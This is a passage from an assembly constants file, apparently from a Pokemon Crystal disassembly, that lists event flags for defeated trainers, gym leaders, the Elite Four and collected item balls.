EVENT_BEAT_BOARDER_BRAD const EVENT_BEAT_BOARDER_DOUGLAS ; Sage const EVENT_BEAT_SAGE_CHOW const EVENT_BEAT_SAGE_NICO const EVENT_BEAT_SAGE_JIN const EVENT_BEAT_SAGE_TROY const EVENT_BEAT_SAGE_JEFFREY const EVENT_BEAT_SAGE_PING const EVENT_BEAT_SAGE_EDMOND const EVENT_BEAT_SAGE_NEAL const EVENT_BEAT_SAGE_LI ; Camper const EVENT_BEAT_CAMPER_ROLAND const EVENT_BEAT_CAMPER_TODD const EVENT_BEAT_CAMPER_IVAN const EVENT_BEAT_CAMPER_ELLIOT const EVENT_BEAT_CAMPER_BARRY const EVENT_BEAT_CAMPER_LLOYD const EVENT_BEAT_CAMPER_DEAN const EVENT_BEAT_CAMPER_SID const EVENT_BEAT_CAMPER_HERVEY const EVENT_BEAT_CAMPER_DALE const EVENT_BEAT_CAMPER_TED const EVENT_BEAT_CAMPER_TODD2 const EVENT_BEAT_CAMPER_TODD3 const EVENT_BEAT_CAMPER_THOMAS const EVENT_BEAT_CAMPER_LEROY const EVENT_BEAT_CAMPER_DAVID const EVENT_BEAT_CAMPER_JOHN const EVENT_BEAT_CAMPER_JERRY const EVENT_BEAT_CAMPER_SPENCER ; Burglar const EVENT_BEAT_BURGLAR_DUNCAN const EVENT_BEAT_BURGLAR_EDDIE const EVENT_BEAT_BURGLAR_COREY ; Unknown const EVENT_430 ; Biker const EVENT_BEAT_BIKER_BENNY const EVENT_BEAT_BIKER_KAZU const EVENT_BEAT_BIKER_DWAYNE const EVENT_BEAT_BIKER_HARRIS const EVENT_BEAT_BIKER_ZEKE const EVENT_BEAT_BIKER_CHARLES const EVENT_BEAT_BIKER_RILEY const EVENT_BEAT_BIKER_JOEL const EVENT_BEAT_BIKER_GLENN ; Psychic const EVENT_BEAT_PSYCHIC_NATHAN const EVENT_BEAT_PSYCHIC_FRANKLIN const EVENT_BEAT_PSYCHIC_HERMAN const EVENT_BEAT_PSYCHIC_FIDEL const EVENT_BEAT_PSYCHIC_GREG const EVENT_BEAT_PSYCHIC_NORMAN const EVENT_BEAT_PSYCHIC_MARK const EVENT_BEAT_PSYCHIC_PHIL const EVENT_BEAT_PSYCHIC_RICHARD const EVENT_BEAT_PSYCHIC_GILBERT const EVENT_BEAT_PSYCHIC_JARED const EVENT_BEAT_PSYCHIC_RODNEY ; Firebreather const EVENT_BEAT_FIREBREATHER_OTIS const EVENT_BEAT_FIREBREATHER_DICK const EVENT_BEAT_FIREBREATHER_NED const EVENT_BEAT_FIREBREATHER_BURT const EVENT_BEAT_FIREBREATHER_BILL const EVENT_BEAT_FIREBREATHER_WALT const EVENT_BEAT_FIREBREATHER_RAY const EVENT_BEAT_FIREBREATHER_LYLE ; Fisher const EVENT_BEAT_FISHER_JUSTIN const EVENT_BEAT_FISHER_RALPH const EVENT_BEAT_FISHER_ARNOLD const EVENT_BEAT_FISHER_KYLE const EVENT_BEAT_FISHER_HENRY const EVENT_BEAT_FISHER_MARVIN const EVENT_BEAT_FISHER_TULLY const EVENT_BEAT_FISHER_ANDRE const EVENT_BEAT_FISHER_RAYMOND const EVENT_BEAT_FISHER_WILTON const EVENT_BEAT_FISHER_EDGAR const EVENT_BEAT_FISHER_JONAH const EVENT_BEAT_FISHER_MARTIN const EVENT_BEAT_FISHER_STEPHEN const EVENT_BEAT_FISHER_BARNEY const EVENT_BEAT_FISHER_RALPH2 const EVENT_BEAT_FISHER_RALPH3 const EVENT_BEAT_FISHER_TULLY2 const EVENT_BEAT_FISHER_TULLY3 const EVENT_BEAT_FISHER_WILTON2 const EVENT_BEAT_FISHER_SCOTT const EVENT_BEAT_FISHER_WILTON3 ; Twins const EVENT_BEAT_TWINS_AMY_AND_MAY const EVENT_BEAT_TWINS_ANN_AND_ANNE const EVENT_BEAT_TWINS_ANN_AND_ANNE2 const EVENT_BEAT_TWINS_AMY_AND_MAY2 const EVENT_BEAT_TWINS_JO_AND_ZOE const EVENT_BEAT_TWINS_JO_AND_ZOE2 const EVENT_BEAT_TWINS_MEG_AND_PEG const EVENT_BEAT_TWINS_MEG_AND_PEG2 ; Schoolboy const EVENT_BEAT_SCHOOLBOY_JACK const EVENT_BEAT_SCHOOLBOY_KIP const EVENT_BEAT_SCHOOLBOY_ALAN const EVENT_BEAT_SCHOOLBOY_JOHNNY const EVENT_BEAT_SCHOOLBOY_DANNY const EVENT_BEAT_SCHOOLBOY_TOMMY const EVENT_BEAT_SCHOOLBOY_DUDLEY const EVENT_BEAT_SCHOOLBOY_JOE const EVENT_BEAT_SCHOOLBOY_BILLY const EVENT_BEAT_SCHOOLBOY_CHAD const EVENT_BEAT_SCHOOLBOY_NATE const EVENT_BEAT_SCHOOLBOY_RICKY const EVENT_BEAT_SCHOOLBOY_JACK2 const EVENT_BEAT_SCHOOLBOY_JACK3 const EVENT_BEAT_SCHOOLBOY_ALAN2 const EVENT_BEAT_SCHOOLBOY_ALAN3 const EVENT_BEAT_SCHOOLBOY_CHAD2 const EVENT_BEAT_SCHOOLBOY_CHAD3 ; Picnicker const EVENT_BEAT_PICNICKER_LIZ const EVENT_BEAT_PICNICKER_GINA const EVENT_BEAT_PICNICKER_BROOKE const EVENT_BEAT_PICNICKER_KIM const EVENT_BEAT_PICNICKER_CINDY const EVENT_BEAT_PICNICKER_HOPE const EVENT_BEAT_PICNICKER_SHARON const EVENT_BEAT_PICNICKER_DEBRA const EVENT_BEAT_PICNICKER_GINA2 const EVENT_BEAT_PICNICKER_ERIN const EVENT_BEAT_PICNICKER_LIZ2 const EVENT_BEAT_PICNICKER_LIZ3 const EVENT_BEAT_PICNICKER_HEIDI const EVENT_BEAT_PICNICKER_EDNA const EVENT_BEAT_PICNICKER_GINA3 const EVENT_BEAT_PICNICKER_TIFFANY2 const EVENT_BEAT_PICNICKER_TIFFANY3 const EVENT_BEAT_PICNICKER_ERIN2 const EVENT_BEAT_PICNICKER_TANYA const EVENT_BEAT_PICNICKER_TIFFANY const EVENT_BEAT_PICNICKER_ERIN3 ; Guitarist const EVENT_BEAT_GUITARIST_CLYDE const EVENT_BEAT_GUITARIST_VINCENT ; Juggler const EVENT_BEAT_JUGGLER_IRWIN const EVENT_BEAT_JUGGLER_FRITZ const EVENT_BEAT_JUGGLER_HORTON const EVENT_BEAT_JUGGLER_IRWIN2 const EVENT_BEAT_JUGGLER_IRWIN3 ; Gentleman const EVENT_BEAT_GENTLEMAN_PRESTON const EVENT_BEAT_GENTLEMAN_EDWARD const EVENT_BEAT_GENTLEMAN_GREGORY const EVENT_BEAT_GENTLEMAN_VIRGIL const EVENT_BEAT_GENTLEMAN_ALFRED ; Scientist const EVENT_BEAT_SCIENTIST_ROSS const EVENT_BEAT_SCIENTIST_MITCH const EVENT_BEAT_SCIENTIST_JED const EVENT_BEAT_SCIENTIST_MARC const EVENT_BEAT_SCIENTIST_RICH ; Blackbelt const EVENT_BEAT_BLACKBELT_KENJI2 const EVENT_BEAT_BLACKBELT_YOSHI const EVENT_BEAT_BLACKBELT_KENJI3 const EVENT_BEAT_BLACKBELT_LAO const EVENT_BEAT_BLACKBELT_NOB const EVENT_BEAT_BLACKBELT_KIYO const EVENT_BEAT_BLACKBELT_LUNG const EVENT_BEAT_BLACKBELT_KENJI const EVENT_BEAT_BLACKBELT_WAI ; Beauty const EVENT_BEAT_BEAUTY_VICTORIA const EVENT_BEAT_BEAUTY_SAMANTHA const EVENT_BEAT_BEAUTY_JULIE const EVENT_BEAT_BEAUTY_JACLYN const EVENT_BEAT_BEAUTY_BRENDA const EVENT_BEAT_BEAUTY_CASSIE const EVENT_BEAT_BEAUTY_CAROLINE const EVENT_BEAT_BEAUTY_CARLENE const EVENT_BEAT_BEAUTY_JESSICA const EVENT_BEAT_BEAUTY_RACHAEL const EVENT_BEAT_BEAUTY_ANGELICA const EVENT_BEAT_BEAUTY_KENDRA const EVENT_BEAT_BEAUTY_VERONICA const EVENT_BEAT_BEAUTY_JULIA const EVENT_BEAT_BEAUTY_THERESA const EVENT_BEAT_BEAUTY_VALERIE ; Johto Gym Leaders const EVENT_BEAT_FALKNER const EVENT_BEAT_BUGSY const EVENT_BEAT_WHITNEY const EVENT_BEAT_MORTY const EVENT_BEAT_JASMINE const EVENT_BEAT_CHUCK const EVENT_BEAT_PRYCE const EVENT_BEAT_CLAIR ; Kanto Gym Leaders const EVENT_BEAT_BROCK const EVENT_BEAT_MISTY const EVENT_BEAT_LTSURGE const EVENT_BEAT_ERIKA const EVENT_BEAT_JANINE const EVENT_BEAT_SABRINA const EVENT_BEAT_BLAINE const EVENT_BEAT_BLUE ; PokefanM const EVENT_BEAT_POKEFANM_WILLIAM const EVENT_BEAT_POKEFANM_DEREK const EVENT_BEAT_POKEFANM_ROBERT const EVENT_BEAT_POKEFANM_JOSHUA const EVENT_BEAT_POKEFANM_CARTER const EVENT_BEAT_POKEFANM_TREVOR const EVENT_BEAT_POKEFANM_BRANDON const EVENT_BEAT_POKEFANM_JEREMY const EVENT_BEAT_POKEFANM_COLIN const EVENT_BEAT_POKEFANM_DEREK2 const EVENT_BEAT_POKEFANM_DEREK3 const EVENT_BEAT_POKEFANM_ALEX ; PokefanF const EVENT_BEAT_POKEFANF_BEVERLY const EVENT_BEAT_POKEFANF_RUTH const EVENT_BEAT_POKEFANF_BEVERLY2 const EVENT_BEAT_POKEFANF_BEVERLY3 const EVENT_BEAT_POKEFANF_GEORGIA ; Unknown const EVENT_4DE ; Kimono Girl const EVENT_BEAT_KIMONO_GIRL_NAOKO const EVENT_BEAT_KIMONO_GIRL_SAYO const EVENT_BEAT_KIMONO_GIRL_ZUKI const EVENT_BEAT_KIMONO_GIRL_KUNI const EVENT_BEAT_KIMONO_GIRL_MIKI ; Pokemaniac const EVENT_BEAT_POKEMANIAC_LARRY const EVENT_BEAT_POKEMANIAC_ANDREW const EVENT_BEAT_POKEMANIAC_CALVIN const EVENT_BEAT_POKEMANIAC_SHANE const EVENT_BEAT_POKEMANIAC_BEN const EVENT_BEAT_POKEMANIAC_BRENT const EVENT_BEAT_POKEMANIAC_RON const EVENT_BEAT_POKEMANIAC_ETHAN const EVENT_BEAT_POKEMANIAC_BRENT2 const EVENT_BEAT_POKEMANIAC_BRENT3 const EVENT_BEAT_POKEMANIAC_ISSAC const EVENT_BEAT_POKEMANIAC_DONALD const EVENT_BEAT_POKEMANIAC_ZACH ; GruntM const EVENT_BEAT_ROCKET_GRUNTM_1 const EVENT_BEAT_ROCKET_GRUNTM_2 const EVENT_BEAT_ROCKET_GRUNTM_3 const EVENT_BEAT_ROCKET_GRUNTM_4 const EVENT_BEAT_ROCKET_GRUNTM_5 const EVENT_BEAT_ROCKET_GRUNTM_6 const EVENT_BEAT_ROCKET_GRUNTM_7 const EVENT_BEAT_ROCKET_GRUNTM_8 const EVENT_BEAT_ROCKET_GRUNTM_9 const EVENT_BEAT_ROCKET_GRUNTM_10 const EVENT_BEAT_ROCKET_GRUNTM_11 const EVENT_BEAT_ROCKET_GRUNTM_12 const EVENT_BEAT_ROCKET_GRUNTM_13 const EVENT_BEAT_ROCKET_GRUNTM_14 const EVENT_BEAT_ROCKET_GRUNTM_15 const EVENT_BEAT_ROCKET_GRUNTM_16 const EVENT_BEAT_ROCKET_GRUNTM_17 const EVENT_BEAT_ROCKET_GRUNTM_18 const EVENT_BEAT_ROCKET_GRUNTM_19 const EVENT_BEAT_ROCKET_GRUNTM_20 const EVENT_BEAT_ROCKET_GRUNTM_21 const EVENT_BEAT_ROCKET_GRUNTM_22 const EVENT_BEAT_ROCKET_GRUNTM_23 const EVENT_BEAT_ROCKET_GRUNTM_24 const EVENT_BEAT_ROCKET_GRUNTM_25 const EVENT_BEAT_ROCKET_GRUNTM_26 const EVENT_BEAT_ROCKET_GRUNTM_27 const EVENT_BEAT_ROCKET_GRUNTM_28 const EVENT_BEAT_ROCKET_GRUNTM_29 const EVENT_BEAT_ROCKET_GRUNTM_30 const EVENT_BEAT_ROCKET_GRUNTM_31 ; GruntF const EVENT_BEAT_ROCKET_GRUNTF_1 const EVENT_BEAT_ROCKET_GRUNTF_2 const EVENT_BEAT_ROCKET_GRUNTF_3 const EVENT_BEAT_ROCKET_GRUNTF_4 const EVENT_BEAT_ROCKET_GRUNTF_5 ; Lass const EVENT_BEAT_LASS_CARRIE const EVENT_BEAT_LASS_JANICE const EVENT_BEAT_LASS_SALLY const EVENT_BEAT_LASS_ROBIN const EVENT_BEAT_LASS_IRIS const EVENT_BEAT_LASS_MIRIAM const EVENT_BEAT_LASS_CRISSY const EVENT_BEAT_LASS_SHANNON const EVENT_BEAT_LASS_MICHELLE const EVENT_BEAT_LASS_DANA const EVENT_BEAT_LASS_ELLEN const EVENT_BEAT_LASS_CONNIE2 const EVENT_BEAT_LASS_CONNIE3 const EVENT_BEAT_LASS_DANA2 const EVENT_BEAT_LASS_DANA3 ; Hiker const EVENT_BEAT_HIKER_MARCUS const EVENT_BEAT_HIKER_RUSSELL const EVENT_BEAT_HIKER_PHILLIP const EVENT_BEAT_HIKER_LEONARD const EVENT_BEAT_HIKER_ANTHONY const EVENT_BEAT_HIKER_BENJAMIN const EVENT_BEAT_HIKER_ERIK const EVENT_BEAT_HIKER_MICHAEL const EVENT_BEAT_HIKER_PARRY const EVENT_BEAT_HIKER_TIMOTHY const EVENT_BEAT_HIKER_BAILEY const EVENT_BEAT_HIKER_ANTHONY3 const EVENT_BEAT_HIKER_TIM const EVENT_BEAT_HIKER_NOLAND const EVENT_BEAT_HIKER_SIDNEY const EVENT_BEAT_HIKER_KENNY const EVENT_BEAT_HIKER_JIM const EVENT_BEAT_HIKER_DANIEL const EVENT_BEAT_HIKER_PARRY2 const EVENT_BEAT_HIKER_PARRY3 ; Bug Catcher const EVENT_BEAT_BUG_CATCHER_RICK const EVENT_BEAT_BUG_CATCHER_DOUG const EVENT_BEAT_BUG_CATCHER_CHARLIE const EVENT_BEAT_BUG_CATCHER_ANTHONY const EVENT_BEAT_BUG_CATCHER_SAMMY const EVENT_BEAT_BUG_CATCHER_COLTON const EVENT_BEAT_BUG_CATCHER_GREG const EVENT_BEAT_BUG_CATCHER_JAMES const EVENT_BEAT_BUG_CATCHER_KENT const EVENT_BEAT_BUG_CATCHER_ROBBY const EVENT_BEAT_BUG_CATCHER_WADE3 ; nugget bridge 1 const EVENT_BEAT_BUG_CATCHER_DOUG2 const EVENT_BEAT_BUG_CATCHER_ARNIE2 const EVENT_BEAT_BUG_CATCHER_ARNIE3 ; Officer const EVENT_BEAT_OFFICER_KEITH const EVENT_BEAT_OFFICER_DIRK ; CooltrainerM const EVENT_BEAT_COOLTRAINERM_NICK const EVENT_BEAT_COOLTRAINERM_AARON const EVENT_BEAT_COOLTRAINERM_PAUL const EVENT_BEAT_COOLTRAINERM_CODY const EVENT_BEAT_COOLTRAINERM_MIKE const EVENT_BEAT_COOLTRAINERM_GAVEN2 const EVENT_BEAT_COOLTRAINERM_GAVEN3 const EVENT_BEAT_COOLTRAINERM_RYAN const EVENT_BEAT_COOLTRAINERM_JAKE const EVENT_BEAT_COOLTRAINERM_GAVEN const EVENT_BEAT_COOLTRAINERM_BLAKE const EVENT_BEAT_COOLTRAINERM_BRIAN const EVENT_BEAT_COOLTRAINERM_ERICK const EVENT_BEAT_COOLTRAINERM_ANDY const EVENT_BEAT_COOLTRAINERM_TYLER const EVENT_BEAT_COOLTRAINERM_SEAN const EVENT_BEAT_COOLTRAINERM_KEVIN const EVENT_BEAT_COOLTRAINERM_STEVE const EVENT_BEAT_COOLTRAINERM_ALLEN ; CooltrainerF const EVENT_BEAT_COOLTRAINERF_GWEN const EVENT_BEAT_COOLTRAINERF_LOIS const EVENT_BEAT_COOLTRAINERF_FRAN const EVENT_BEAT_COOLTRAINERF_LOLA const EVENT_BEAT_COOLTRAINERF_KATE const EVENT_BEAT_COOLTRAINERF_IRENE const EVENT_BEAT_COOLTRAINERF_KELLY const EVENT_BEAT_COOLTRAINERF_JOYCE const EVENT_BEAT_COOLTRAINERF_BETH const EVENT_BEAT_COOLTRAINERF_REENA const EVENT_BEAT_COOLTRAINERF_MEGAN const EVENT_BEAT_COOLTRAINERF_BETH2 const EVENT_BEAT_COOLTRAINERF_CAROL const EVENT_BEAT_COOLTRAINERF_QUINN const EVENT_BEAT_COOLTRAINERF_EMMA const EVENT_BEAT_COOLTRAINERF_CYBIL const EVENT_BEAT_COOLTRAINERF_JENN const EVENT_BEAT_COOLTRAINERF_BETH3 const EVENT_BEAT_COOLTRAINERF_REENA2 const EVENT_BEAT_COOLTRAINERF_REENA3 ; ExecutiveF const EVENT_BEAT_ROCKET_EXECUTIVEF_1 const EVENT_BEAT_ROCKET_EXECUTIVEF_2 ; ExecutiveM const EVENT_BEAT_ROCKET_EXECUTIVEM_1 const EVENT_BEAT_ROCKET_EXECUTIVEM_2 const EVENT_BEAT_ROCKET_EXECUTIVEM_3 const EVENT_BEAT_ROCKET_EXECUTIVEM_4 ; Sailor const EVENT_BEAT_SAILOR_EUGENE const EVENT_BEAT_SAILOR_HUEY const EVENT_BEAT_SAILOR_TERRELL const EVENT_BEAT_SAILOR_KENT const EVENT_BEAT_SAILOR_ERNEST const EVENT_BEAT_SAILOR_JEFF const EVENT_BEAT_SAILOR_GARRETT const EVENT_BEAT_SAILOR_KENNETH const EVENT_BEAT_SAILOR_STANLY const EVENT_BEAT_SAILOR_HARRY const EVENT_BEAT_SAILOR_HUEY2 const EVENT_BEAT_SAILOR_HUEY3 ; Super Nerd const EVENT_BEAT_SUPER_NERD_JOVAN const EVENT_BEAT_SUPER_NERD_MIGUEL const EVENT_BEAT_SUPER_NERD_GREGG const EVENT_BEAT_SUPER_NERD_JAY const EVENT_BEAY_SUPER_NERD_DAVE const EVENT_BEAT_SUPER_NERD_SAM const EVENT_BEAT_SUPER_NERD_TOM const EVENT_BEAT_SUPER_NERD_PAT const EVENT_BEAT_SUPER_NERD_SHAWN const EVENT_BEAT_SUPER_NERD_TERU ; Medium const EVENT_BEAT_MEDIUM_MARTHA const EVENT_BEAT_MEDIUM_GRACE const EVENT_BEAT_MEDIUM_BETHANY const EVENT_BEAT_MEDIUM_MARGRET const EVENT_BEAT_MEDIUM_ETHEL const EVENT_BEAT_MEDIUM_REBECCA const EVENT_BEAT_MEDIUM_DORIS ; Skier const EVENT_BEAT_SKIER_ROXANNE const EVENT_BEAT_SKIER_CLARISSA ; SwimmerM const EVENT_BEAT_SWIMMERM_HAROLD const EVENT_BEAT_SWIMMERM_SIMON const EVENT_BEAT_SWIMMERM_RANDALL const EVENT_BEAT_SWIMMERM_CHARLIE const EVENT_BEAT_SWIMMERM_GEORGE const EVENT_BEAT_SWIMMERM_BERKE const EVENT_BEAT_SWIMMERM_KIRK const EVENT_BEAT_SWIMMERM_MATHEW const EVENT_BEAT_SWIMMERM_HAL const EVENT_BEAT_SWIMMERM_PATON const EVENT_BEAT_SWIMMERM_DARYL const EVENT_BEAT_SWIMMERM_WALTER const EVENT_BEAT_SWIMMERM_TONY const EVENT_BEAT_SWIMMERM_JEROME const EVENT_BEAT_SWIMMERM_TUCKER const EVENT_BEAT_SWIMMERM_RICK const EVENT_BEAT_SWIMMERM_CAMERON const EVENT_BEAT_SWIMMERM_SETH const EVENT_BEAT_SWIMMERM_JAMES const EVENT_BEAT_SWIMMERM_LEWIS const EVENT_BEAT_SWIMMERM_PARKER ; Youngster const EVENT_BEAT_YOUNGSTER_BEN const EVENT_BEAT_YOUNGSTER_CALVIN const EVENT_BEAT_YOUNGSTER_JOSH const EVENT_BEAT_YOUNGSTER_GORDON const EVENT_BEAT_YOUNGSTER_SAMUEL const EVENT_BEAT_YOUNGSTER_IAN const EVENT_BEAT_YOUNGSTER_JOEY2 const EVENT_BEAT_YOUNGSTER_JOEY3 const EVENT_BEAT_YOUNGSTER_WARREN const EVENT_BEAT_YOUNGSTER_JIMMY const EVENT_BEAT_YOUNGSTER_OWEN const EVENT_BEAT_YOUNGSTER_JASON ; Teacher const EVENT_BEAT_TEACHER_COLETTE const EVENT_BEAT_TEACHER_HILLARY const EVENT_BEAT_TEACHER_SHIRLEY ; Elite Four and Champion const EVENT_BEAT_ELITE_4_WILL const EVENT_BEAT_ELITE_4_KOGA const EVENT_BEAT_ELITE_4_BRUNO const EVENT_BEAT_ELITE_4_KAREN const EVENT_BEAT_CHAMPION_LANCE ; Crystal-exclusive trainer flags const EVENT_BEAT_COOLTRAINERM_DARIN const EVENT_BEAT_COOLTRAINERF_CARA const EVENT_BEAT_TWINS_LEA_AND_PIA const EVENT_BEAT_BUG_CATCHER_WAYNE const EVENT_BEAT_BEAUTY_OLIVIA const EVENT_BEAT_POKEFANF_JAIME const EVENT_BEAT_CAMPER_QUENTIN const EVENT_BEAT_POKEMANIAC_MILLER const EVENT_BEAT_SUPER_NERD_HUGH const EVENT_BEAT_SUPER_NERD_MARKUS const EVENT_BEAT_POKEFANM_REX const EVENT_BEAT_POKEFANM_ALLAN const EVENT_BEAT_SAGE_GAKU const EVENT_BEAT_SAGE_MASA const EVENT_BEAT_SAGE_KOJI ; ??? const EVENT_5CC const EVENT_5CD const EVENT_5CE const EVENT_5CF const EVENT_5D0 const EVENT_5D1 const EVENT_5D2 const EVENT_5D3 const EVENT_5D4 const EVENT_5D5 const EVENT_5D6 const EVENT_5D7 const EVENT_5D8 const EVENT_5D9 const EVENT_5DA const EVENT_5DB const EVENT_5DC const EVENT_5DD const EVENT_5DE const EVENT_5DF const EVENT_5E0 const EVENT_5E1 const EVENT_5E2 const EVENT_5E3 const EVENT_5E4 const EVENT_5E5 const EVENT_5E6 const EVENT_5E7 const EVENT_5E8 const EVENT_5E9 const EVENT_5EA const EVENT_5EB const EVENT_5EC const EVENT_5ED const EVENT_5EE const EVENT_5EF const EVENT_5F0 const EVENT_5F1 const EVENT_5F2 const EVENT_5F3 const EVENT_5F4 const EVENT_5F5 const EVENT_5F6 const EVENT_5F7 const EVENT_5F8 const EVENT_5F9 const EVENT_5FA const EVENT_5FB const EVENT_5FC const EVENT_5FD const EVENT_5FE const EVENT_5FF const EVENT_600 const EVENT_601 const EVENT_602 const EVENT_603 const EVENT_604 const EVENT_605 const EVENT_606 const EVENT_607 const EVENT_608 const EVENT_609 const EVENT_60A const EVENT_60B const EVENT_60C const EVENT_60D const EVENT_60E const EVENT_60F const EVENT_610 const EVENT_611 const EVENT_612 const EVENT_613 const EVENT_614 const EVENT_615 const EVENT_616 const EVENT_617 const EVENT_618 const EVENT_619 const EVENT_61A const EVENT_61B const EVENT_61C const EVENT_61D const EVENT_61E const EVENT_61F const EVENT_620 const EVENT_621 const EVENT_622 const EVENT_623 const EVENT_624 const EVENT_625 const EVENT_626 const EVENT_627 const EVENT_628 const EVENT_629 const EVENT_62A const EVENT_62B const EVENT_62C const EVENT_62D const EVENT_62E const EVENT_62F const EVENT_630 const EVENT_631 const EVENT_632 const EVENT_633 const EVENT_634 const EVENT_635 const EVENT_636 const EVENT_637 const EVENT_638 const EVENT_639 const EVENT_63A const EVENT_63B const EVENT_63C const EVENT_63D const EVENT_63E const EVENT_63F ; Sprite visibility flags ; When these events are cleared, the sprite becomes visible; when set, the sprite is hidden. ; The map script command macros `disappear` and `appear` set/clear these flags and immediately apply the effect on visibility. ; The map script command macros `setevent` and `clearevent` set/clear these flags, and their effects will be seen when the map is reloaded. ; Johto itemballs const EVENT_CYNDAQUIL_POKEBALL_IN_ELMS_LAB const EVENT_TOTODILE_POKEBALL_IN_ELMS_LAB const EVENT_CHIKORITA_POKEBALL_IN_ELMS_LAB const EVENT_VIOLET_CITY_PP_UP const EVENT_VIOLET_CITY_RARE_CANDY const EVENT_LAKE_OF_RAGE_ELIXER const EVENT_LAKE_OF_RAGE_TM_DETECT const EVENT_SPROUT_TOWER1F_PARLYZ_HEAL const EVENT_SPROUT_TOWER2F_X_ACCURACY const EVENT_SPROUT_TOWER_3F_POTION const EVENT_SPROUT_TOWER_3F_ESCAPE_ROPE const EVENT_TIN_TOWER_3F_FULL_HEAL const EVENT_TIN_TOWER_4F_ULTRA_BALL const EVENT_TIN_TOWER_4F_PP_UP const EVENT_TIN_TOWER_4F_ESCAPE_ROPE const EVENT_TIN_TOWER_5F_RARE_CANDY const EVENT_TIN_TOWER_7F_MAX_REVIVE const EVENT_TIN_TOWER_8F_NUGGET const EVENT_TIN_TOWER_8F_MAX_ELIXER const EVENT_TIN_TOWER_8F_FULL_RESTORE const EVENT_TEAM_ROCKET_BASE_B3F_ULTRA_BALL const EVENT_GOLDENROD_UNDERGROUND_WAREHOUSE_ULTRA_BALL const EVENT_BURNED_TOWER_1F_HP_UP const EVENT_BURNED_TOWER_B1F_TM_ENDURE const EVENT_NATIONAL_PARK_PARLYZ_HEAL const EVENT_NATIONAL_PARK_TM_DIG const EVENT_UNION_CAVE_1F_GREAT_BALL const EVENT_UNION_CAVE_1F_X_ATTACK const EVENT_UNION_CAVE_1F_POTION const EVENT_UNION_CAVE_1F_AWAKENING const EVENT_UNION_CAVE_B1F_TM_SWIFT const EVENT_UNION_CAVE_B1F_X_DEFEND const EVENT_UNION_CAVE_B2F_ELIXER const EVENT_UNION_CAVE_B2F_HYPER_POTION const EVENT_SLOWPOKE_WELL_B1F_SUPER_POTION const EVENT_SLOWPOKE_WELL_B2F_TM_RAIN_DANCE const EVENT_OLIVINE_LIGHTHOUSE_3F_ETHER const EVENT_OLIVINE_LIGHTHOUSE_5F_RARE_CANDY const EVENT_OLIVINE_LIGHTHOUSE_5F_SUPER_REPEL const EVENT_OLIVINE_LIGHTHOUSE_5F_TM_SWAGGER const EVENT_OLIVINE_LIGHTHOUSE_6F_SUPER_POTION const EVENT_TEAM_ROCKET_BASE_B1F_HYPER_POTION const EVENT_TEAM_ROCKET_BASE_B1F_NUGGET const EVENT_TEAM_ROCKET_BASE_B1F_GUARD_SPEC const EVENT_TEAM_ROCKET_BASE_B2F_TM_THIEF const EVENT_TEAM_ROCKET_BASE_B3F_PROTEIN const EVENT_TEAM_ROCKET_BASE_B3F_X_SPECIAL const EVENT_TEAM_ROCKET_BASE_B3F_FULL_HEAL const EVENT_TEAM_ROCKET_BASE_B3F_ICE_HEAL const EVENT_ILEX_FOREST_REVIVE const EVENT_GOLDENROD_UNDERGROUND_COIN_CASE const EVENT_GOLDENROD_UNDERGROUND_SWITCH_ROOM_ENTRANCES_SMOKE_BALL const EVENT_GOLDENROD_UNDERGROUND_SWITCH_ROOM_ENTRANCES_FULL_HEAL const EVENT_GOLDENROD_DEPT_STORE_B1F_ETHER const EVENT_GOLDENROD_DEPT_STORE_B1F_AMULET_COIN const EVENT_GOLDENROD_DEPT_STORE_B1F_BURN_HEAL const EVENT_GOLDENROD_DEPT_STORE_B1F_ULTRA_BALL const EVENT_GOLDENROD_UNDERGROUND_WAREHOUSE_MAX_ETHER const EVENT_GOLDENROD_UNDERGROUND_WAREHOUSE_TM_SLEEP_TALK const EVENT_MOUNT_MORTAR_1F_OUTSIDE_ETHER const EVENT_MOUNT_MORTAR_1F_OUTSIDE_REVIVE const EVENT_MOUNT_MORTAR_1F_INSIDE_ESCAPE_ROPE const EVENT_MOUNT_MORTAR_1F_INSIDE_MAX_REVIVE const EVENT_MOUNT_MORTAR_1F_INSIDE_HYPER_POTION const EVENT_MOUNT_MORTAR_2F_INSIDE_MAX_POTION const EVENT_MOUNT_MORTAR_2F_INSIDE_RARE_CANDY const EVENT_MOUNT_MORTAR_2F_INSIDE_TM_DEFENSE_CURL const EVENT_MOUNT_MORTAR_2F_INSIDE_DRAGON_SCALE const EVENT_MOUNT_MORTAR_2F_INSIDE_ELIXER const EVENT_MOUNT_MORTAR_2F_INSIDE_ESCAPE_ROPE const EVENT_MOUNT_MORTAR_B1F_HYPER_POTION const EVENT_MOUNT_MORTAR_B1F_CARBOS const EVENT_GOT_HM07_WATERFALL const EVENT_ICE_PATH_1F_PP_UP const EVENT_ICE_PATH_B1F_IRON const EVENT_ICE_PATH_B2F_MAHOGANY_SIDE_FULL_HEAL const EVENT_ICE_PATH_B2F_MAHOGANY_SIDE_MAX_POTION const EVENT_ICE_PATH_B2F_BLACKTHORN_SIDE_TM_REST const EVENT_ICE_PATH_B3F_NEVERMELTICE const EVENT_WHIRL_ISLAND_NE_ULTRA_BALL const EVENT_WHIRL_ISLAND_SW_ULTRA_BALL const EVENT_WHIRL_ISLAND_B1F_FULL_RESTORE const EVENT_WHIRL_ISLAND_B1F_CARBOS const EVENT_WHIRL_ISLAND_B1F_CALCIUM const EVENT_WHIRL_ISLAND_B1F_NUGGET const EVENT_WHIRL_ISLAND_B1F_ESCAPE_ROPE const EVENT_WHIRL_ISLAND_B2F_FULL_RESTORE const EVENT_WHIRL_ISLAND_B2F_MAX_REVIVE const EVENT_WHIRL_ISLAND_B2F_MAX_ELIXER const EVENT_SILVER_CAVE_ROOM_1_MAX_ELIXER const EVENT_SILVER_CAVE_ROOM_1_PROTEIN const EVENT_SILVER_CAVE_ROOM_1_ESCAPE_ROPE const EVENT_SILVER_CAVE_ITEM_ROOMS_MAX_REVIVE const EVENT_SILVER_CAVE_ITEM_ROOMS_FULL_RESTORE const EVENT_DARK_CAVE_VIOLET_ENTRANCE_POTION const EVENT_DARK_CAVE_VIOLET_ENTRANCE_FULL_HEAL const EVENT_DARK_CAVE_VIOLET_ENTRANCE_HYPER_POTION const EVENT_DARK_CAVE_BLACKTHORN_ENTRANCE_REVIVE const EVENT_DARK_CAVE_BLACKTHORN_ENTRANCE_TM_SNORE const EVENT_VICTORY_ROAD_TM_EARTHQUAKE const EVENT_VICTORY_ROAD_MAX_REVIVE const EVENT_VICTORY_ROAD_FULL_RESTORE const EVENT_VICTORY_ROAD_FULL_HEAL const EVENT_VICTORY_ROAD_HP_UP const 